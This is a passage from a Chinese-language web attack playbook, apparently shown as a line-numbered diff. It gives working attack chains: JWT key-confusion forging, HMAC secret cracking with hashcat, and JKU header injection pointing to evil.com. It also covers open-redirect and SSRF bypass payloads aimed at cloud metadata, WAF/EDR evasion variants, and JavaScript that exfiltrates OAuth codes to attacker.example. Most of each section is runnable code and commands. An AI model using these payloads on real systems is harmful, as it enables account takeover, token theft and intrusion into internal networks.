curl -s "https://{TARGET}/oauth/discovery" | jq
|
|
1866
|
+
|
|
1867
|
+
# 从JWKS中提取公钥
|
|
1868
|
+
# 或从SSL证书中获取
|
|
1869
|
+
openssl s_client -connect {TARGET}:443 | openssl x509 -pubkey -noout > pubkey.pem
|
|
1870
|
+
```
|
|
1871
|
+
|
|
1872
|
+
**2. 2. 密钥混淆攻击**
|
|
1873
|
+
_Python脚本将RSA公钥作为HMAC密钥签名伪造JWT_
|
|
1874
|
+
```
|
|
1875
|
+
import jwt
|
|
1876
|
+
import json
|
|
1877
|
+
|
|
1878
|
+
# 读取RSA公钥
|
|
1879
|
+
with open("pubkey.pem", "rb") as f:
|
|
1880
|
+
public_key = f.read()
|
|
1881
|
+
|
|
1882
|
+
# 用公钥作为HMAC密钥签名
|
|
1883
|
+
forged_payload = {
|
|
1884
|
+
"user": "admin",
|
|
1885
|
+
"role": "admin",
|
|
1886
|
+
"iat": 1707811200,
|
|
1887
|
+
"exp": 1999999999
|
|
1888
|
+
}
|
|
1889
|
+
|
|
1890
|
+
# 将算法从RS256切换为HS256
|
|
1891
|
+
forged_token = jwt.encode(
|
|
1892
|
+
forged_payload,
|
|
1893
|
+
public_key, # RSA公钥作为HMAC密钥
|
|
1894
|
+
algorithm="HS256" # 改为HMAC算法
|
|
1895
|
+
)
|
|
1896
|
+
print(forged_token)
|
|
1897
|
+
```
|
|
1898
|
+
|
|
1899
|
+
**3. 3. jwt_tool自动攻击**
|
|
1900
|
+
_jwt_tool一键执行密钥混淆攻击_
|
|
1901
|
+
```
|
|
1902
|
+
python3 jwt_tool.py {TOKEN} -X k -pk pubkey.pem
|
|
1903
|
+
|
|
1904
|
+
# -X k = 密钥混淆攻击模式
|
|
1905
|
+
# -pk = 指定公钥文件
|
|
1906
|
+
# 工具自动完成RS256→HS256切换和签名
|
|
1907
|
+
```
|
|
1908
|
+
|
|
1909
|
+
**4. 4. JWKS端点注入**
|
|
1910
|
+
_JKU/X5U头注入使服务端从攻击者控制的URL获取验证密钥_
|
|
1911
|
+
```
|
|
1912
|
+
# 如果支持jku/x5u头,可注入自定义JWKS端点
|
|
1913
|
+
Header: {
|
|
1914
|
+
"alg": "RS256",
|
|
1915
|
+
"typ": "JWT",
|
|
1916
|
+
"jku": "https://evil.com/.well-known/jwks.json"
|
|
1917
|
+
}
|
|
1918
|
+
|
|
1919
|
+
# 在evil.com上托管攻击者生成的JWKS
|
|
1920
|
+
# 服务端会从攻击者URL获取公钥进行验证
|
|
1921
|
+
openssl genrsa -out attacker_key.pem 2048
|
|
1922
|
+
openssl rsa -in attacker_key.pem -pubout > attacker_pub.pem
|
|
1923
|
+
```
|
|
1924
|
+
|
|
1925
|
+
**WAF/EDR 绕过变体:**
|
|
1926
|
+
|
|
1927
|
+
**1. 多种公钥格式尝试**
|
|
1928
|
+
_某些JWT库对公钥格式处理不同,尝试多种格式_
|
|
1929
|
+
```
|
|
1930
|
+
# PEM格式(标准)
|
|
1931
|
+
-----BEGIN PUBLIC KEY-----
|
|
1932
|
+
MIIBIjANBgkqh...
|
|
1933
|
+
-----END PUBLIC KEY-----
|
|
1934
|
+
|
|
1935
|
+
# DER格式(二进制)
|
|
1936
|
+
openssl rsa -pubin -in pubkey.pem -outform DER -out pubkey.der
|
|
1937
|
+
|
|
1938
|
+
# 带/不带换行符
|
|
1939
|
+
cat pubkey.pem | tr -d "\n" > pubkey_noline.pem
|
|
1940
|
+
|
|
1941
|
+
# 不同编码的公钥作为HMAC密钥
|
|
1942
|
+
```
|
|
1943
|
+
|
|
1944
|
+
---
|
|
1945
|
+
|
|
1946
|
+
### JWT密钥爆破 `jwt-secret-bruteforce`
|
|
1947
|
+
当JWT使用HMAC对称算法(HS256/HS384/HS512)且密钥为弱密码时,可通过字典或暴力破解还原签名密钥,进而伪造任意JWT令牌。
|
|
1948
|
+
子类:**密钥破解** · tags: `JWT` `密钥爆破` `HS256` `弱密钥` `hashcat`
|
|
1949
|
+
|
|
1950
|
+
**前置条件:** 目标JWT使用HMAC算法(HS256等);已获取有效JWT样本;hashcat或jwt_tool
|
|
1951
|
+
|
|
1952
|
+
**攻击链:**
|
|
1953
|
+
|
|
1954
|
+
**1. 1. 确认算法和结构**
|
|
1955
|
+
_确认JWT使用HMAC对称算法,此类算法的密钥可被爆破_
|
|
1956
|
+
```
|
|
1957
|
+
# 解码JWT Header
|
|
1958
|
+
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
|
|
1959
|
+
# {"alg":"HS256"}
|
|
1960
|
+
|
|
1961
|
+
# 确认是HMAC对称算法才可爆破
|
|
1962
|
+
# HS256 / HS384 / HS512 = 可爆破
|
|
1963
|
+
# RS256 / ES256 = 不可直接爆破密钥
|
|
1964
|
+
```
|
|
1965
|
+
|
|
1966
|
+
**2. 2. hashcat GPU加速爆破**
|
|
1967
|
+
_hashcat GPU加速破解JWT HMAC密钥_
|
|
1968
|
+
```
|
|
1969
|
+
# hashcat模式16500 = JWT
|
|
1970
|
+
hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt
|
|
1971
|
+
|
|
1972
|
+
# jwt.txt内容为完整的JWT字符串
|
|
1973
|
+
# eyJhbGci....signature
|
|
1974
|
+
|
|
1975
|
+
# 使用规则加速
|
|
1976
|
+
hashcat -m 16500 -a 0 jwt.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
|
|
1977
|
+
|
|
1978
|
+
# 掩码暴力破解(8位数字密钥)
|
|
1979
|
+
hashcat -m 16500 -a 3 jwt.txt ?d?d?d?d?d?d?d?d
|
|
1980
|
+
```
|
|
1981
|
+
|
|
1982
|
+
**3. 3. jwt_tool字典爆破**
|
|
1983
|
+
_jwt_tool字典模式破解JWT密钥_
|
|
1984
|
+
```
|
|
1985
|
+
python3 jwt_tool.py {TOKEN} -C -d /usr/share/wordlists/rockyou.txt
|
|
1986
|
+
|
|
1987
|
+
# -C = 开启字典破解模式
|
|
1988
|
+
# -d = 指定字典文件
|
|
1989
|
+
# 也支持常见弱密钥快速测试
|
|
1990
|
+
python3 jwt_tool.py {TOKEN} -C -d common_jwt_secrets.txt
|
|
1991
|
+
```
|
|
1992
|
+
|
|
1993
|
+
**4. 4. 使用破解密钥伪造JWT**
|
|
1994
|
+
_使用破解出的密钥签名伪造管理员JWT_
|
|
1995
|
+
```
|
|
1996
|
+
import jwt
|
|
1997
|
+
|
|
1998
|
+
secret = "cracked_secret_key"
|
|
1999
|
+
|
|
2000
|
+
forged = jwt.encode(
|
|
2001
|
+
{"user": "admin", "role": "superadmin", "exp": 1999999999},
|
|
2002
|
+
secret,
|
|
2003
|
+
algorithm="HS256"
|
|
2004
|
+
)
|
|
2005
|
+
print(f"Forged JWT: {forged}")
|
|
2006
|
+
|
|
2007
|
+
# 验证
|
|
2008
|
+
curl -H "Authorization: Bearer $FORGED_JWT" "https://{TARGET}/api/admin"
|
|
2009
|
+
```
|
|
2010
|
+
|
|
2011
|
+
**WAF/EDR 绕过变体:**
|
|
2012
|
+
|
|
2013
|
+
**1. 常见默认JWT密钥**
|
|
2014
|
+
_优先尝试常见的默认/弱JWT密钥_
|
|
2015
|
+
```
|
|
2016
|
+
# 常见弱密钥列表
|
|
2017
|
+
secret
|
|
2018
|
+
password
|
|
2019
|
+
123456
|
|
2020
|
+
hs256-secret
|
|
2021
|
+
jwt-secret
|
|
2022
|
+
my-secret-key
|
|
2023
|
+
changeme
|
|
2024
|
+
default
|
|
2025
|
+
qwerty
|
|
2026
|
+
super-secret
|
|
2027
|
+
your-256-bit-secret
|
|
2028
|
+
secretkey
|
|
2029
|
+
token-secret
|
|
2030
|
+
application-secret
|
|
2031
|
+
```
|
|
2032
|
+
|
|
2033
|
+
---
|
|
2034
|
+
|
|
2035
|
+
### JWT JKU/X5U头注入 `jwt-jku-x5u-injection`
|
|
2036
|
+
利用JWT Header中的jku(JWK Set URL)或x5u(X.509 URL)参数,将密钥来源指向攻击者控制的服务器,使服务端使用攻击者的公钥验证JWT,从而实现令牌伪造。
|
|
2037
|
+
子类:**Header注入** · tags: `JWT` `JKU` `X5U` `Header注入` `JWKS` `密钥劫持`
|
|
2038
|
+
|
|
2039
|
+
**前置条件:** 目标JWT支持jku/x5u Header参数;攻击者拥有公网服务器;Python环境
|
|
2040
|
+
|
|
2041
|
+
**攻击链:**
|
|
2042
|
+
|
|
2043
|
+
**1. 1. 探测JKU/X5U支持**
|
|
2044
|
+
_检查JWT是否使用jku/x5u头以及目标JWKS端点_
|
|
2045
|
+
```
|
|
2046
|
+
# 解码JWT Header查看是否包含jku/x5u
|
|
2047
|
+
echo "{JWT_HEADER}" | base64 -d | jq # security-allowlist: SEC008
|
|
2048
|
+
|
|
2049
|
+
# 常见原始Header
|
|
2050
|
+
{"alg":"RS256","typ":"JWT","jku":"https://target.com/.well-known/jwks.json"}
|
|
2051
|
+
|
|
2052
|
+
# 检查JWKS端点
|
|
2053
|
+
curl -s "https://{TARGET}/.well-known/jwks.json" | jq
|
|
2054
|
+
curl -s "https://{TARGET}/.well-known/openid-configuration" | jq .jwks_uri
|
|
2055
|
+
```
|
|
2056
|
+
|
|
2057
|
+
**2. 2. 生成攻击者密钥对**
|
|
2058
|
+
_生成攻击者的RSA密钥对并构造JWKS文件_
|
|
2059
|
+
```
|
|
2060
|
+
from cryptography.hazmat.primitives.asymmetric import rsa
|
|
2061
|
+
from cryptography.hazmat.primitives import serialization
|
|
2062
|
+
import json, base64
|
|
2063
|
+
|
|
2064
|
+
# 生成RSA密钥对
|
|
2065
|
+
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
|
|
2066
|
+
public_key = private_key.public_key()
|
|
2067
|
+
|
|
2068
|
+
# 导出PEM格式
|
|
2069
|
+
with open("attacker_private.pem", "wb") as f:
|
|
2070
|
+
f.write(private_key.private_bytes(
|
|
2071
|
+
serialization.Encoding.PEM,
|
|
2072
|
+
serialization.PrivateFormat.PKCS8,
|
|
2073
|
+
serialization.NoEncryption()
|
|
2074
|
+
))
|
|
2075
|
+
|
|
2076
|
+
# 生成JWKS格式公钥
|
|
2077
|
+
numbers = public_key.public_numbers()
|
|
2078
|
+
jwks = {"keys": [{"kty": "RSA", "kid": "attacker-key-1",
|
|
2079
|
+
"n": base64.urlsafe_b64encode(numbers.n.to_bytes(256, "big")).rstrip(b"=").decode(),
|
|
2080
|
+
"e": base64.urlsafe_b64encode(numbers.e.to_bytes(3, "big")).rstrip(b"=").decode(),
|
|
2081
|
+
"use": "sig", "alg": "RS256"}]}
|
|
2082
|
+
|
|
2083
|
+
with open("jwks.json", "w") as f:
|
|
2084
|
+
json.dump(jwks, f)
|
|
2085
|
+
```
|
|
2086
|
+
|
|
2087
|
+
**3. 3. 托管JWKS并签名JWT**
|
|
2088
|
+
_托管JWKS文件并用攻击者私钥签名JWT,jku指向攻击者服务器_
|
|
2089
|
+
```
|
|
2090
|
+
# 在攻击者服务器托管jwks.json
|
|
2091
|
+
python3 -m http.server 8080
|
|
2092
|
+
# http://evil.com:8080/jwks.json
|
|
2093
|
+
|
|
2094
|
+
import jwt
|
|
2095
|
+
|
|
2096
|
+
# 用攻击者私钥签名
|
|
2097
|
+
with open("attacker_private.pem", "rb") as f:
|
|
2098
|
+
attacker_key = f.read()
|
|
2099
|
+
|
|
2100
|
+
forged = jwt.encode(
|
|
2101
|
+
{"user": "admin", "role": "admin", "exp": 1999999999},
|
|
2102
|
+
attacker_key,
|
|
2103
|
+
algorithm="RS256",
|
|
2104
|
+
headers={"jku": "http://evil.com:8080/jwks.json", "kid": "attacker-key-1"}
|
|
2105
|
+
)
|
|
2106
|
+
print(forged)
|
|
2107
|
+
```
|
|
2108
|
+
|
|
2109
|
+
**4. 4. 验证攻击**
|
|
2110
|
+
_使用注入了jku的伪造JWT访问管理员接口_
|
|
2111
|
+
```
|
|
2112
|
+
curl -s -H "Authorization: Bearer {FORGED_JWT}" \
|
|
2113
|
+
"https://{TARGET}/api/admin/users" | jq
|
|
2114
|
+
|
|
2115
|
+
# 服务端流程:
|
|
2116
|
+
# 1. 解析JWT Header中的jku URL
|
|
2117
|
+
# 2. 从evil.com获取JWKS公钥
|
|
2118
|
+
# 3. 用攻击者公钥验证签名——通过!
|
|
2119
|
+
# 4. 信任Payload中的admin身份
|
|
2120
|
+
```
|
|
2121
|
+
|
|
2122
|
+
**WAF/EDR 绕过变体:**
|
|
2123
|
+
|
|
2124
|
+
**1. JKU URL绕过限制**
|
|
2125
|
+
_利用开放重定向、子域名接管、URL混淆绕过jku域名白名单_
|
|
2126
|
+
```
|
|
2127
|
+
# 开放重定向绕过域名白名单
|
|
2128
|
+
{"jku": "https://target.com/redirect?url=https://evil.com/jwks.json"}
|
|
2129
|
+
|
|
2130
|
+
# 子域名接管
|
|
2131
|
+
{"jku": "https://abandoned.target.com/.well-known/jwks.json"}
|
|
2132
|
+
|
|
2133
|
+
# URL混淆
|
|
2134
|
+
{"jku": "https://target.com@evil.com/jwks.json"}
|
|
2135
|
+
{"jku": "https://evil.com#target.com/jwks.json"}
|
|
2136
|
+
{"jku": "https://evil.com/.well-known/jwks.json?.target.com"}
|
|
2137
|
+
```
|
|
2138
|
+
|
|
2139
|
+
---
|
|
2140
|
+
|
|
2141
|
+
### · 开放重定向
|
|
2142
|
+
|
|
2143
|
+
### 基础开放重定向 `redirect-basic`
|
|
2144
|
+
URL跳转漏洞利用
|
|
2145
|
+
子类:**基础** · tags: `redirect` `url` `phishing`
|
|
2146
|
+
|
|
2147
|
+
**前置条件:** 目标参数控制跳转地址
|
|
2148
|
+
|
|
2149
|
+
**攻击链:**
|
|
2150
|
+
|
|
2151
|
+
**1. 直接跳转**
|
|
2152
|
+
_直接跳转到攻击者站点_
|
|
2153
|
+
```
|
|
2154
|
+
http://target.com/redirect?url=http://attacker.com
|
|
2155
|
+
```
|
|
2156
|
+
|
|
2157
|
+
**2. 绕过验证**
|
|
2158
|
+
_@符号绕过_
|
|
2159
|
+
```
|
|
2160
|
+
http://target.com/redirect?url=http://attacker.com@target.com
|
|
2161
|
+
```
|
|
2162
|
+
|
|
2163
|
+
**3. 斜杠绕过**
|
|
2164
|
+
_//绕过协议_
|
|
2165
|
+
```
|
|
2166
|
+
http://target.com/redirect?url=//attacker.com
|
|
2167
|
+
```
|
|
2168
|
+
|
|
2169
|
+
**WAF/EDR 绕过变体:**
|
|
2170
|
+
|
|
2171
|
+
**1. URL编码与双编码绕过**
|
|
2172
|
+
_通过URL编码、双重URL编码、Unicode同形字、CRLF注入等方式绕过跳转目标地址的白名单或黑名单检测_
|
|
2173
|
+
```
|
|
2174
|
+
# URL编码:
|
|
2175
|
+
/redirect?url=%68%74%74%70%3a%2f%2fattacker.com
|
|
2176
|
+
# 双编码:
|
|
2177
|
+
/redirect?url=%2568%2574%2574%2570%253a%252f%252fattacker.com
|
|
2178
|
+
# Unicode编码:
|
|
2179
|
+
/redirect?url=http://attacker。com
|
|
2180
|
+
/redirect?url=http://ⓐttacker.com
|
|
2181
|
+
# CRLF注入:
|
|
2182
|
+
/redirect?url=%0d%0aLocation:%20http://attacker.com
|
|
2183
|
+
```
|
|
2184
|
+
|
|
2185
|
+
**2. 反斜杠与data: URI绕过**
|
|
2186
|
+
_利用反斜杠在不同解析器中的差异行为、data: URI协议、多斜杠协议相对URL等方式绕过域名白名单验证_
|
|
2187
|
+
```
|
|
2188
|
+
# 反斜杠技巧:
|
|
2189
|
+
/redirect?url=http://attacker.com@target.com
|
|
2190
|
+
/redirect?url=//attacker.com
|
|
2191
|
+
/redirect?url=/attacker.com
|
|
2192
|
+
|
|
2193
|
+
# data: URI:
|
|
2194
|
+
/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
|
|
2195
|
+
|
|
2196
|
+
# 协议相对URL变体:
|
|
2197
|
+
/redirect?url=//attacker.com
|
|
2198
|
+
/redirect?url=///attacker.com
|
|
2199
|
+
/redirect?url=////attacker.com
|
|
2200
|
+
```
|
|
2201
|
+
|
|
2202
|
+
---
|
|
2203
|
+
|
|
2204
|
+
### 重定向绕过 `redirect-bypass`
|
|
2205
|
+
开放重定向绕过技巧
|
|
2206
|
+
子类:**Bypass** · tags: `redirect` `bypass`
|
|
2207
|
+
|
|
2208
|
+
**前置条件:** 存在重定向参数
|
|
2209
|
+
|
|
2210
|
+
**攻击链:**
|
|
2211
|
+
|
|
2212
|
+
**1. URL编码**
|
|
2213
|
+
_使用URL编码_
|
|
2214
|
+
```
|
|
2215
|
+
redirect=http%3a%2f%2fattacker.com
|
|
2216
|
+
```
|
|
2217
|
+
|
|
2218
|
+
**2. @符号**
|
|
2219
|
+
_利用URL认证部分_
|
|
2220
|
+
```
|
|
2221
|
+
redirect=http://target.com@attacker.com
|
|
2222
|
+
```
|
|
2223
|
+
|
|
2224
|
+
**3. 反斜杠** _[windows]_
|
|
2225
|
+
_使用反斜杠_
|
|
2226
|
+
```
|
|
2227
|
+
redirect=https:/\attacker.com
|
|
2228
|
+
```
|
|
2229
|
+
|
|
2230
|
+
**WAF/EDR 绕过变体:**
|
|
2231
|
+
|
|
2232
|
+
**1. 反斜杠路径规范化**
|
|
2233
|
+
_利用反斜杠在不同浏览器/服务器中的路径规范化差异绕过重定向域名白名单_
|
|
2234
|
+
```
|
|
2235
|
+
# 反斜杠替代正斜杠
|
|
2236
|
+
https://target.com/redirect?url=https://evil.com\@target.com
|
|
2237
|
+
https://target.com/redirect?url=https:\\evil.com
|
|
2238
|
+
|
|
2239
|
+
# 路径穿越绕过域名白名单
|
|
2240
|
+
https://target.com/redirect?url=https://target.com/..%2f@evil.com
|
|
2241
|
+
https://target.com/redirect?url=//evil.com/%2f..%2f
|
|
2242
|
+
|
|
2243
|
+
# 协议相对URL
|
|
2244
|
+
https://target.com/redirect?url=//evil.com
|
|
2245
|
+
https://target.com/redirect?url=\\evil.com
|
|
2246
|
+
```
|
|
2247
|
+
|
|
2248
|
+
**2. URL片段与参数注入**
|
|
2249
|
+
_利用URL片段标识符、参数污染和完整URL编码绕过服务端的重定向目标检查_
|
|
2250
|
+
```
|
|
2251
|
+
# 片段标识符混淆
|
|
2252
|
+
https://target.com/redirect?url=https://target.com#@evil.com
|
|
2253
|
+
https://target.com/redirect?url=https://target.com%23@evil.com
|
|
2254
|
+
|
|
2255
|
+
# 参数污染
|
|
2256
|
+
https://target.com/redirect?url=https://target.com&url=https://evil.com
|
|
2257
|
+
https://target.com/redirect?url=https://target.com%26next=evil.com
|
|
2258
|
+
|
|
2259
|
+
# 编码混淆
|
|
2260
|
+
https://target.com/redirect?url=https%3a%2f%2fevil.com
|
|
2261
|
+
https://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d
|
|
2262
|
+
```
|
|
2263
|
+
|
|
2264
|
+
**3. 空字节与特殊字符截断**
|
|
2265
|
+
_利用空字节截断URL校验、CRLF注入额外头部、特殊空白字符混淆URL解析_
|
|
2266
|
+
```
|
|
2267
|
+
# 空字节截断
|
|
2268
|
+
https://target.com/redirect?url=https://target.com%00@evil.com
|
|
2269
|
+
https://target.com/redirect?url=https://evil.com%00.target.com
|
|
2270
|
+
|
|
2271
|
+
# 换行符注入
|
|
2272
|
+
https://target.com/redirect?url=https://evil.com%0d%0aLocation:%20https://evil.com
|
|
2273
|
+
|
|
2274
|
+
# Tab/空格混淆
|
|
2275
|
+
https://target.com/redirect?url=https://evil .com
|
|
2276
|
+
https://target.com/redirect?url=java%09script:alert(1)
|
|
2277
|
+
https://target.com/redirect?url=\x09javascript:alert(1)
|
|
2278
|
+
```
|
|
2279
|
+
|
|
2280
|
+
---
|
|
2281
|
+
|
|
2282
|
+
### 重定向到SSRF `redirect-ssrf`
|
|
2283
|
+
利用开放重定向漏洞作为跳板将SSRF探测引导到内部网络,绕过SSRF的URL白名单/黑名单限制
|
|
2284
|
+
子类:**SSRF** · tags: `redirect` `ssrf`
|
|
2285
|
+
|
|
2286
|
+
**前置条件:** 目标存在开放重定向(Open Redirect)漏洞;目标存在SSRF功能点(URL参数/Webhook等);SSRF过滤仅检查初始URL而不跟踪重定向
|
|
2287
|
+
|
|
2288
|
+
**攻击链:**
|
|
2289
|
+
|
|
2290
|
+
**1. 识别开放重定向点** _[linux]_
|
|
2291
|
+
_寻找目标站点的开放重定向端点和参数_
|
|
2292
|
+
```
|
|
2293
|
+
# 常见重定向参数:
|
|
2294
|
+
curl -sI "http://target.com/redirect?url=https://evil.com" | grep -i location
|
|
2295
|
+
curl -sI "http://target.com/login?next=https://evil.com" | grep -i location
|
|
2296
|
+
curl -sI "http://target.com/goto?link=https://evil.com" | grep -i location
|
|
2297
|
+
|
|
2298
|
+
# 批量测试常见参数:
|
|
2299
|
+
for param in url redirect next goto link return returnUrl callback dest destination rurl; do
|
|
2300
|
+
status=$(curl -sI "http://target.com/redirect?${param}=https://evil.com" -o /dev/null -w "%{http_code}")
|
|
2301
|
+
location=$(curl -sI "http://target.com/redirect?${param}=https://evil.com" | grep -i "^location:" | head -1)
|
|
2302
|
+
echo "${param}: HTTP ${status} → ${location}"
|
|
2303
|
+
done
|
|
2304
|
+
```
|
|
2305
|
+
|
|
2306
|
+
**2. 通过重定向绕过SSRF过滤** _[linux]_
|
|
2307
|
+
_利用目标自身的重定向端点绕过SSRF的域名白名单限制_
|
|
2308
|
+
```
|
|
2309
|
+
# 场景: SSRF接口检查URL域名白名单,但不检查重定向目标
|
|
2310
|
+
|
|
2311
|
+
# 正常SSRF请求(被拦截):
|
|
2312
|
+
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"
|
|
2313
|
+
# → 返回: "Blocked: internal IP"
|
|
2314
|
+
|
|
2315
|
+
# 通过重定向绕过:
|
|
2316
|
+
# 1. 先确认重定向有效:
|
|
2317
|
+
curl -sI "http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"
|
|
2318
|
+
|
|
2319
|
+
# 2. 将重定向URL作为SSRF输入:
|
|
2320
|
+
curl "http://target.com/api/fetch?url=http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"
|
|
2321
|
+
# → SSRF过滤看到target.com(白名单内),放行
|
|
2322
|
+
# → 服务端跟随重定向到169.254.169.254
|
|
2323
|
+
# → 返回AWS元数据
|
|
2324
|
+
```
|
|
2325
|
+
|
|
2326
|
+
**3. 短链接和DNS重绑定辅助**
|
|
2327
|
+
_使用短链接、自建重定向和DNS重绑定辅助SSRF绕过_
|
|
2328
|
+
```
|
|
2329
|
+
# 如果目标站点没有开放重定向,使用外部服务:
|
|
2330
|
+
|
|
2331
|
+
# 1. 短链接服务重定向:
|
|
2332
|
+
# 创建短链接指向内部IP: bit.ly/xxxxx → http://192.168.1.1
|
|
2333
|
+
curl "http://target.com/api/fetch?url=https://bit.ly/xxxxx"
|
|
2334
|
+
|
|
2335
|
+
# 2. 自建重定向服务器:
|
|
2336
|
+
# Python Flask:
|
|
2337
|
+
# @app.route("/redirect")
|
|
2338
|
+
# def redir():
|
|
2339
|
+
# return redirect("http://169.254.169.254/latest/meta-data/")
|
|
2340
|
+
curl "http://target.com/api/fetch?url=http://attacker.com/redirect"
|
|
2341
|
+
|
|
2342
|
+
# 3. DNS重绑定:
|
|
2343
|
+
# 使用rbndr.us等工具,DNS记录在attacker-IP和内部IP之间切换
|
|
2344
|
+
# 第一次解析: attacker.com → 1.2.3.4 (通过IP检查)
|
|
2345
|
+
# 第二次解析: attacker.com → 169.254.169.254 (实际请求)
|
|
2346
|
+
curl "http://target.com/api/fetch?url=http://a]c0a80101.rbndr.us/"
|
|
2347
|
+
```
|
|
2348
|
+
|
|
2349
|
+
**4. 完整利用链: 重定向→SSRF→内网探测**
|
|
2350
|
+
_利用重定向→SSRF链批量探测内部网络资源_
|
|
2351
|
+
```
|
|
2352
|
+
# 完整攻击链:
|
|
2353
|
+
import requests
|
|
2354
|
+
|
|
2355
|
+
TARGET = "http://target.com"
|
|
2356
|
+
SSRF_URL = f"{TARGET}/api/fetch?url="
|
|
2357
|
+
REDIR_URL = f"{TARGET}/redirect?url="
|
|
2358
|
+
|
|
2359
|
+
# 通过重定向探测内网:
|
|
2360
|
+
internal_targets = [
|
|
2361
|
+
"http://169.254.169.254/latest/meta-data/",
|
|
2362
|
+
"http://127.0.0.1:8080/",
|
|
2363
|
+
"http://192.168.1.1/",
|
|
2364
|
+
"http://10.0.0.1/",
|
|
2365
|
+
"http://172.16.0.1/",
|
|
2366
|
+
]
|
|
2367
|
+
|
|
2368
|
+
for internal in internal_targets:
|
|
2369
|
+
# 构造: SSRF → 重定向 → 内网目标
|
|
2370
|
+
payload = f"{SSRF_URL}{REDIR_URL}{internal}"
|
|
2371
|
+
try:
|
|
2372
|
+
r = requests.get(payload, timeout=5)
|
|
2373
|
+
if r.status_code == 200 and len(r.text) > 0:
|
|
2374
|
+
print(f"[+] FOUND: {internal}")
|
|
2375
|
+
print(f" Response: {r.text[:200]}")
|
|
2376
|
+
else:
|
|
2377
|
+
print(f"[-] {internal}: HTTP {r.status_code}")
|
|
2378
|
+
except Exception as e:
|
|
2379
|
+
print(f"[!] {internal}: {e}")
|
|
2380
|
+
```
|
|
2381
|
+
|
|
2382
|
+
**WAF/EDR 绕过变体:**
|
|
2383
|
+
|
|
2384
|
+
**1. URL解析差异利用**
|
|
2385
|
+
_利用不同URL解析库(cURL/urllib/Java URL)对authority/host部分解析的差异绕过SSRF白名单_
|
|
2386
|
+
```
|
|
2387
|
+
# 利用URL解析库差异
|
|
2388
|
+
http://evil.com#@target.com
|
|
2389
|
+
http://evil.com\@target.com
|
|
2390
|
+
http://target.com@evil.com
|
|
2391
|
+
|
|
2392
|
+
# 特殊URL格式
|
|
2393
|
+
http://evil。com (全角句号)
|
|
2394
|
+
http://ⓔⓥⓘⓛ.com (Unicode圆圈字符)
|
|
2395
|
+
http://evil%E3%80%82com
|
|
2396
|
+
|
|
2397
|
+
# IPv6地址混淆
|
|
2398
|
+
http://[::ffff:127.0.0.1]
|
|
2399
|
+
http://[0:0:0:0:0:ffff:127.0.0.1]
|
|
2400
|
+
```
|
|
2401
|
+
|
|
2402
|
+
**2. DNS重绑定攻击**
|
|
2403
|
+
_通过DNS重绑定在URL校验和实际请求之间切换解析结果,绕过SSRF的IP黑名单_
|
|
2404
|
+
```
|
|
2405
|
+
# DNS Rebinding攻击步骤
|
|
2406
|
+
# 1. 配置DNS服务器交替返回不同IP
|
|
2407
|
+
# evil.com -> 第1次解析: 公网IP(通过校验)
|
|
2408
|
+
# evil.com -> 第2次解析: 127.0.0.1(实际请求)
|
|
2409
|
+
|
|
2410
|
+
# 使用rbndr.us自动DNS重绑定
|
|
2411
|
+
http://7f000001.c0a80001.rbndr.us/internal
|
|
2412
|
+
|
|
2413
|
+
# 使用1u.ms
|
|
2414
|
+
http://make-127.0.0.1-rr.1u.ms/admin
|
|
2415
|
+
|
|
2416
|
+
# TOCTOU: 检查时域名解析到白名单IP,请求时解析到内网IP
|
|
2417
|
+
```
|
|
2418
|
+
|
|
2419
|
+
**3. IP地址混淆表示**
|
|
2420
|
+
_使用十进制、八进制、十六进制和IPv6映射等不同方式表示内网IP绕过黑名单检查_
|
|
2421
|
+
```
|
|
2422
|
+
# 十进制IP
|
|
2423
|
+
http://2130706433 (= 127.0.0.1)
|
|
2424
|
+
http://3232235777 (= 192.168.1.1)
|
|
2425
|
+
|
|
2426
|
+
# 八进制IP
|
|
2427
|
+
http://0177.0.0.1 (= 127.0.0.1)
|
|
2428
|
+
http://0x7f.0.0.1 (= 127.0.0.1)
|
|
2429
|
+
|
|
2430
|
+
# 混合进制
|
|
2431
|
+
http://0177.0x0.0.1
|
|
2432
|
+
http://127.1 (省略零段)
|
|
2433
|
+
http://127.0.1
|
|
2434
|
+
|
|
2435
|
+
# IPv6映射
|
|
2436
|
+
http://[::1]
|
|
2437
|
+
http://[::] (= 0.0.0.0)
|
|
2438
|
+
http://[::ffff:7f00:1]
|
|
2439
|
+
```
|
|
2440
|
+
|
|
2441
|
+
### OAuth 授权码劫持 — 在 redirect_uri 内执行的 JS payload
|
|
2442
|
+
|
|
2443
|
+
OAuth 中 `redirect_uri` 若允许任意子路径(或 open redirect / XSS 落点),攻击者可在跳转后的页面执行 JS 把 `code` exfil 到自己服务器,完成无感劫持。受害者只看到正常的 OAuth 同意流程。
|
|
2444
|
+
|
|
2445
|
+
```javascript
|
|
2446
|
+
// 在攻击者控制的 redirect_uri 页(或 redirect_uri 域上的 XSS sink)中执行
|
|
2447
|
+
var urlParams = new URLSearchParams(window.location.search);
|
|
2448
|
+
var capturedCode = urlParams.get('code'); // 也可换成 'access_token' / 'id_token'(fragment 模式)
|
|
2449
|
+
|
|
2450
|
+
if (capturedCode) {
|
|
2451
|
+
var http = new XMLHttpRequest();
|
|
2452
|
+
// GET 模式带在 query;实战推荐 fetch + no-cors 或 navigator.sendBeacon 以规避 CSP report-only
|
|
2453
|
+
http.open("GET", "https://attacker.example/log_code.php?code=" + encodeURIComponent(capturedCode), true);
|
|
2454
|
+
http.send();
|
|
2455
|
+
}
|
|
2456
|
+
|
|
2457
|
+
// implicit / hybrid flow(token 在 fragment):
|
|
2458
|
+
// var fragParams = new URLSearchParams(window.location.hash.slice(1));
|
|
2459
|
+
// var token = fragParams.get('access_token') || fragParams.get('id_token');
|
|
2460
|
+
```
|
|
2461
|
+
|
|
2462
|
+
**何时用**:`redirect_uri` 校验允许 `https://target.com/anywhere` 子路径任意,且子路径有 XSS / 第三方 widget 注入面。证明影响时只对自己控制的两个账号操作,不要诱导真实用户点击。
|
|
2463
|
+
|
|
2464
|
+
### OAuth / redirect_uri URL 解析差异 — 通用绕过库
|
|
2465
|
+
|
|
2466
|
+
